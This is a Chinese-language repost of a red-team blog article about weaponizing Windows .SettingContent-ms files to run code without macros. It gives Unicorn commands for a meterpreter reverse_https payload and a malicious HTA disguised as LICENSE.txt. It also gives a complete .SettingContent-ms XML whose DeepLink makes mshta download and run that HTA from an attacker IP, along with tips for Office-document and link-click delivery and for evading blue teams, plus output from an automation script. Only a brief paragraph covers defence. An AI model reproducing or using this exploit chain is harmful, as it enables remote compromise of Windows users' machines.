内容简介:最近,Matt Nelson(以下是Matt博文中的几个关键发现:
最近,Matt Nelson( @engima0x3 )发表了一篇关于利用.SettingContent-ms文件进行代码执行的文章。这篇文章很精彩,因为作为攻击者,我们经常需要从不同的系统上找到多种执行任意代码的方式。本文基于Matt研究的基础,实现在远程系统上进行代码执行。
以下是Matt博文中的几个关键发现:
- 微软宣称可能不会修复该漏洞。
- 可以直接利用浏览器执行任意代码攻击。
- 可以嵌入到Office文档中,并且可以在没有宏的情况下直接执行任意代码。
- 在Microsoft Office目录中生成子进程,可以绕过使用白名单目录机制的Microsoft’s Attack Surface Reduction (ASR) 。
作为攻击者,上述这些将非常吸引我们,因为我们通常尝试寻找新的方法来攻破系统,而不是使用传统的方法(例如使用宏,HTA等)。Matt已经在研究绕过ASR并进行命令执行方面做了大量研究工作。
最近工作中,我们正在进行red team测试的的客户系统拥有一定的攻击检测能力,而Matt的博文对我们的实际模拟测试提供了及时的帮助。在过去,DDE Auto等其他传统攻击发现一旦被公开,攻击者就会迅速将这些攻击技术进行武器化( https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/ )。我们曾经在24小时内就看到了使用DDE进行攻击的攻击向量。
我决定看一下Matt的研究,看看是否可以快速地将它武器化。Matt一直利用calc.exe(通常用于演示命令/代码执行)进行演示,而并没有将它武器化。首先,我决定先利用Unicorn( https://github.com/trustedsec/unicorn )看看是否可以执行经过混淆的攻击载荷(payload)。
先使用Unicorn快速生成了一个meterpreter shell,并复制粘贴到Matt的概念证明(POC)中进行测试,用powershell.exe替换cmd.exe:
git clone https://github.com/trustedsec/unicorn cd unicorn python unicorn.py windows/meterpreter/reverse_https 172.16.37.164 443
这将创建一个混淆的PowerShell有效载荷(payload),并将其导出到powershell_attacks.txt:
图1 – 混淆的PowerShell代码
在将生成的PowerShell字符串插入.SettingContent-ms文件并执行时,似乎<DeepLink></DeepLink>字段出错:
图2 – 由于长字符串导致出错
在对DeepLink字段进行一番研究后,我注意到DeepLink字段允许的最大字符长度(包括路径和所有内容)是517个字符。虽然这对于我们的有效载荷(payload)来说已经是一个很大的空间,但这意味着在这个攻击向量中使用更大的有效载荷(payload)就不行了。
有许多可以在517个字符内获得代码执行的方式。在接下来的示例中,我们将使用“mshta.exe”这种常见的二进制攻击方式进行攻击。MSHTA位于Microsoft支持的每个操作系统上,并且具有从命令行远程下载和执行HTA文件的能力。我们可以使用许多其他方式,例如nps_payload( https://www.trustedsec.com/2017/07/new-tool-release-nps_payload/ ),certutil( https://twitter.com/subtee/status/889173356284530688?lang=en ),或其他方法。HTA很简单,您无需指定“hta”扩展名,因为大多数时候使用扩展名进行攻击会被阻断。
首先,我们先利用Unicorn创建支持HTA的payload,看看我们是否可以获得代码执行。
我们需要先生成恶意的HTA文件,切换到unicorn目录并输入以下命令:
python unicorn.py windows/meterpreter/reverse_https 172.16.37.164 443 hta cp hta_attack/Launcher.hta /var/www/html/LICENSE.txt service apache2 start
运行完Unicorn后,会生成适当的HTA文件。以下是运行Unicorn的截图:
图3 – 运行Unicorn生成payload
然后我们复制HTA文件并将其重命名为LICENSE.txt。在大多数情况下,如果事件应急人员正在排查恶意文件,有可能会忽略扩展名为.txt的文件。此外,如果这是一个真实模拟攻击,您可能希望使用HTTPS并使用合法且高信誉的域名来躲避蓝队(blue team)。
最后,我们启动Apache来托管恶意的HTA文件。
以下是Unicorn输出的恶意/混淆HTA的示例:
图4 – Unicorn的输出
接下来,我们创建一个包含指向我们恶意HTA(LICENSE.txt)URL的Test.SettingContent-ms文件:
<?xml version="1.0" encoding="UTF-8"?> <PCSettings> <SearchableContent xmlns="http://schemas.microsoft.com/Search/2013/SettingContent"> <ApplicationInformation> <AppID>windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel</AppID> <DeepLink>%windir%system32mshta.exe http://172.16.37.164/LICENSE.txt</DeepLink> <Icon>%windir%system32control.exe</Icon> </ApplicationInformation> <SettingIdentity> <PageID></PageID> <HostID>{12B1697E-D3A0-4DBC-B568-CCF64A3F934D}</HostID> </SettingIdentity> <SettingInformation> <Description>@shell32.dll,-4161</Description> <Keywords>@shell32.dll,-4161</Keywords> </SettingInformation> </SearchableContent> </PCSettings>
保存并双击文件后,我们就可以获得一个shell!
图5 – Meterpreter成功进行 Shell 访问
攻击成功!显然,在这个例子中我们使用了Metasploit,但是这几乎可以用于任何你想用的payload。MSHTA只是远程下载并且能在517的字符大小限制内执行代码的一个示例。另外,您可以轻松地将这些内容嵌入到Office文档中并将其发送出去,一旦对方打开,您就可以攻破对方电脑。您还可以在网站上托管这些扩展类型,并诱使用户单击链接。如果你想变得狡猾,改变图标和其他东西可能会有所帮助。下面是一个简单的站点,其中包含下载和执行的链接(只是一个普通的链接):
图6 – 带链接的简单站点
注意,下载的是托管的SettingContent-ms文件。一旦打开,它将以类似的方式攻破系统。
对于防御者而言,最好且最简单的做法就是阻止系统从外部加载.SettingContent-ms类型的文件(阻止基于Web的攻击),或者在下载或执行任何文件时弹出告警。此外,可以将.SettingContent-ms的文件关联类型更改为记事本或其他不执行代码的软件。
如果你想要一个自动化攻击的工具,我已经写了一个auto_settingcontent-ms.py的快速工具,它会自动为你创建Metasploit有效载荷(payload),HTA文件和Test.SettingContent-ms文件。这假设您已经安装了Metasploit,Python和Apache。请注意,这只是一个例子,还有很多其他方法,这只是一个简单的POC。
要运行,首先从github克隆auto_settingcontent-ms,然后运行它:
git clone https://github.com/trustedsec/auto_SettingContent-ms cd auto_SettingContent-ms
一旦下载完脚本,我们就可以运行它并生成我们的文件。
root@stronghold:/home/relik/Desktop/git/auto_settingcontent-ms# python auto_settingcontent-ms.py
这是一个简单的脚本,它将生成一个.SettingContent-ms文件,该文件可用于在系统上执行命令/代码。该文件可以嵌入到Office文档中,也可以托管在网站上并诱使受害者点击来获得代码执行。这只是一个结合Metasploit使用的POC。你可以使用任何你想使用的payload,在这个例子中我们使用windows/meterpreter/reverse_https。
root@stronghold:/home/relik/Desktop/git/auto_settingcontent-ms# python auto_settingcontent-ms.py Credit to: Matt Nelson (@enigma0x3) from SpecterOps Great read here: https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39 Written by: David Kennedy (@HackingDave, @TrustedSec) Version 0.1 Enter the reverse shell IP address: 192.168.5.5 Enter the port for the reverse shell: 443 Cloning into 'unicorn'... remote: Counting objects: 340, done. remote: Total 340 (delta 0), reused 0 (delta 0), pack-reused 340 Receiving objects: 100% (340/340), 163.94 KiB | 0 bytes/s, done. Resolving deltas: 100% (215/215), done. Checking connectivity... done. [*] Generating the payload shellcode.. This could take a few seconds/minutes as we create the shellcode... [*] Exported Test.SettingContent-ms to this folder. Moved over LICENSE.txt (malicious HTA) and setup the SettingContent-ms to point to the Apache server hosting this under /var/www/html [*] To launch the Metasploit listener, run msfconsole -r unicorn.rc root@stronghold:/home/relik/Desktop/git/auto_settingcontent-ms#
从GitHub下载Auto_SettingContent-MS脚本
特别感谢Matt Nelson在SpecterOps上的出色工作以及通过特定扩展类型获得代码执行能力的示例。
参考文献:
来自Matt Nelson的原帖.SettingContent-ms: https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39
以上所述就是小编给大家介绍的《武器化:利用.SettingContent-ms文件执行任意代码》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
JAVA语言规范(英文版,第3版)
戈斯林 / 机械工业 / 2006-4 / 79.00元
本书由“java之父”Jame Gosling 以及另外三位顶级大师撰写而成,无论是对java语言的初学者还是专业程序员都具有极高的价值,是关于java程序设计语言最权威的技术参考书。 本书侧重于java技术细节和内幕,全面,准确,详尽地介绍了java语言及其语法,论述了java编译器所要检查的语法和java运行模式的各个方面,同时还描述了java语言最重要的新特征。一起来看看 《JAVA语言规范(英文版,第3版)》 这本书的介绍吧!